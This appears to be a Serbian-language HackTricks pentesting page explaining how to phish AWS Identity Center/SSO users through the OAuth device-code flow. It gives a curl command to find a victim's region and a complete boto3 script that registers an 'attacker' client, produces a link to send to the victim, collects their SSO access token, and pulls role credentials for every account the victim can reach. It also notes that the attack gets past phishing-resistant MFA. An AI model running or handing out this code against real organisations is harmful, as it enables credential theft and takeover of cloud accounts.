AWS - Identity Center & SSO Unauthenticated Enum

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

AWS Fishing sa Kodom uređaja

Inicijalno predloženo u ovom blog postu, moguće je poslati link korisniku koristeći AWS SSO, koji ako korisnik prihvati, napadač će moći dobiti token za impersonaciju korisnika i pristupiti svim ulogama koje korisnik može pristupiti u Centru identiteta.

Da bi se izveo ovaj napad, potrebni su:

  • Žrtva mora koristiti Centar identiteta

  • Napadač mora znati poddomen koji koristi žrtva <victimsub>.awsapps.com/start

Samo sa prethodnim informacijama, napadač će moći poslati link korisniku koji će, ako bude prihvaćen, omogućiti napadaču pristup nad AWS korisničkim nalogom.

Napad

  1. Pronalaženje poddomena

Prvi korak napadača je da otkrije poddomen koji koristi kompanija žrtve u svom Centru identiteta. To se može uraditi putem OSINT-a ili pogađanja + BF jer će većina kompanija koristiti svoje ime ili varijaciju svog imena ovde.

Sa ovim informacijama, moguće je saznati region gde je Centar identiteta konfigurisan sa:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Generišite link za žrtvu & Pošaljite ga

Pokrenite sledeći kod kako biste generisali AWS SSO link za prijavljivanje kako bi žrtva mogla da se autentifikuje. Za demonstraciju, pokrenite ovaj kod u Python konzoli i nemojte je zatvarati jer će vam kasnije biti potrebni neki objekti za dobijanje tokena:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Sačekajte dok žrtva ne prihvati

Ako je žrtva već prijavljena u AWS, samo će trebati da prihvati davanje dozvola, ako nije, moraće se prijaviti, a zatim prihvatiti davanje dozvola. Ovako danas izgleda prozor zahteva:

  1. Dobijanje SSO pristupnog tokena

Ako je žrtva prihvatila zahtev, pokrenite ovaj kod da generišete SSO token koji će se predstavljati kao korisnik:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO pristupni token je važeći 8 sati.

  1. Impersonate the user

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Ribarenje neuhvatljivog MFA

Zabavno je znati da prethodni napad radi čak i ako se koristi "neuhvatljivi MFA" (webAuth). To je zato što prethodni tok rada nikada ne napušta korišćenu OAuth domenu. Za razliku od drugih napada ribarenja gde korisnik mora zameniti domen za prijavljivanje, u slučaju da je tok rada sa kodom uređaja pripremljen tako da kod poznaje uređaj i korisnik može da se prijavi čak i na drugom računaru. Ako se prihvati upit, uređaj, samo znajući početni kod, moći će da dobije pristupne podatke za korisnika.

Za više informacija o ovome proverite ovaj post.

Automatski alati

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated